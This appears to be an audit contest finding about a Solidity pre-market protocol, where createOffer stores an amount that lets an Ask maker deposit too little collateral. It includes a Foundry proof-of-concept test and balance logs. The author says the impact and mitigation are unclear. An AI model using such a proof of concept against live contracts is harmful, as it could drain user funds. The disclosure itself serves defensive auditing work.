Vulnerability details
transferAmount
not updated correctly in OfferInfo
and StockInfo
struct when an offer is created by calling createOffer
. Which leads to a Maker
depositing less money than what is required to back his collateral stock.
uint256 transferAmount = OfferLibraries.getDepositAmount(
params.offerType,
params.collateralRate,
params.amount,
true,
Math.Rounding.Ceil
);
when it is an Ask offer
, meaning it is a is_Maker
, the following code scales down the transferAmount
rather than returning the full amount.
function getDepositAmount(
OfferType _offerType,
uint256 _collateralRate,
uint256 _amount,
bool _isMaker,
Math.Rounding _rounding
) internal pure returns (uint256) {
if (_offerType == OfferType.Bid && _isMaker) {
return _amount;
}
if (_offerType == OfferType.Ask && !_isMaker) {
return _amount;
}
return
Math.mulDiv(
_amount,
_collateralRate,
Constants.COLLATERAL_RATE_DECIMAL_SCALER,
_rounding
);
}
The amount that was passed into this methods were wrong
offerInfoMap[offerAddr] = OfferInfo({
id: offerId,
authority: _msgSender(),
maker: makerAddr,
offerStatus: OfferStatus.Virgin,
offerType: params.offerType,
points: params.points,
amount: params.amount,
collateralRate: params.collateralRate,
abortOfferStatus: AbortOfferStatus.Initialized,
usedPoints: 0,
tradeTax: 0,
settledPoints: 0,
settledPointTokenAmount: 0,
settledCollateralAmount: 0
});
stockInfoMap[stockAddr] = StockInfo({
id: offerId,
stockStatus: StockStatus.Initialized,
stockType: params.offerType == OfferType.Ask
? StockType.Bid
: StockType.Ask,
authority: _msgSender(),
maker: makerAddr,
preOffer: address(0x0),
offer: offerAddr,
points: params.points,
amount: params.amount
});
POC
The users balance after settlement is going to increase. Meaning he backed up his collateral with lesser amount than actually required
Logs:
bal after 99999998800000000000000000
bal after settlement 99999999800000000000000000
function test_user_lose_funds() external {
uint userBalBefore = mockUSDCToken.balanceOf((bob));
vm.startPrank(bob);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
1 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
vm.stopPrank();
uint userBalAfter = mockUSDCToken.balanceOf(bob);
console2.log("bal after", userBalAfter );
address offerAddr = GenerateAddress.generateOfferAddress(0);
vm.prank(alice);
preMarktes.createTaker(offerAddr, 1000);
vm.prank(admin);
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
0.01 * 1e18,
block.timestamp - 1,
3600
);
vm.prank(bob);
deliveryPlace.settleAskMaker(offerAddr, 400);
capitalPool.approve(address(mockUSDCToken));
vm.prank(bob);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
uint userBalAfterSettlement = mockUSDCToken.balanceOf(bob);
console2.log("bal after settlement", userBalAfterSettlement );
}
Impact
I can forsee the impact of this to be very great, and infact could lead to protocol insolvency. However, a lot of abstraction are still not very clear and would require a direct communication with sponsors
Mitigation
I cant really think of a solution right now as the communication with sponsors wasn'nt so great on this contest, hence a lot of voids that needs to be filled